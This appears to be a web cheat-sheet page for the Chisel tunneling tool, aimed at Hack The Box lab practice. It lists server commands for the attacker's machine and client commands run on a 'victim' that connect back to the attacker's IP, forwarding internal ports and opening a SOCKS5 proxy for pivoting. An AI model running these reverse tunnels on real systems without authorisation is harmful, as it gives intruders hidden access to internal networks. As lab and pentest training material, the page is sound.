Chisel
Chisel is a single binary that acts as the server on your machine and the client on the victim. With R: the tunnel goes from the victim to you, so it works even if you cannot connect to it from outside.
- Platform
- Linux · Windows · macOS (Go)
- Official site
- github.com/jpillora/chisel
- On HTB
- 21 machines
Install
# Binarios para cada sistema en https://github.com/jpillora/chisel/releasesChisel cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
More uses
Several ports in one client
Target
./chisel client 10.10.14.5:8000 R:3306:127.0.0.1:3306 R:8080:127.0.0.1:8080
Use the SOCKS proxy with proxychains
Attacker
echo 'socks5 127.0.0.1 1080' | sudo tee -a /etc/proxychains4.conf
proxychains -q curl http://172.16.1.10In our cheatsheets
Port forwarding and pivoting › chisel
Server on your machine
Attacker
./chisel server --reverse -p 8000
Client on the target
Target
./chisel client 10.10.14.5:8000 R:8080:127.0.0.1:8080
Client on the target
Target
./chisel client 10.10.14.5:8000 R:socksOpens a SOCKS5 proxy on port 1080 of your machine.
Windows
Target
.\chisel.exe client 10.10.14.5:8000 R:socksNo command matches.
HTB machines where Chisel is used
Taken from the chapters of IppSec videos where Chisel shows up. The ▶ link jumps to the minute of that part.
Guides that use Chisel
- Port forwarding and pivoting: SSH, chisel and socat 3 min read How to reach a service that only listens on 127.0.0.1 or sits on another internal network: local, remote and dynamic SSH tunnels, chisel when there is no SSH, socat and proxychains.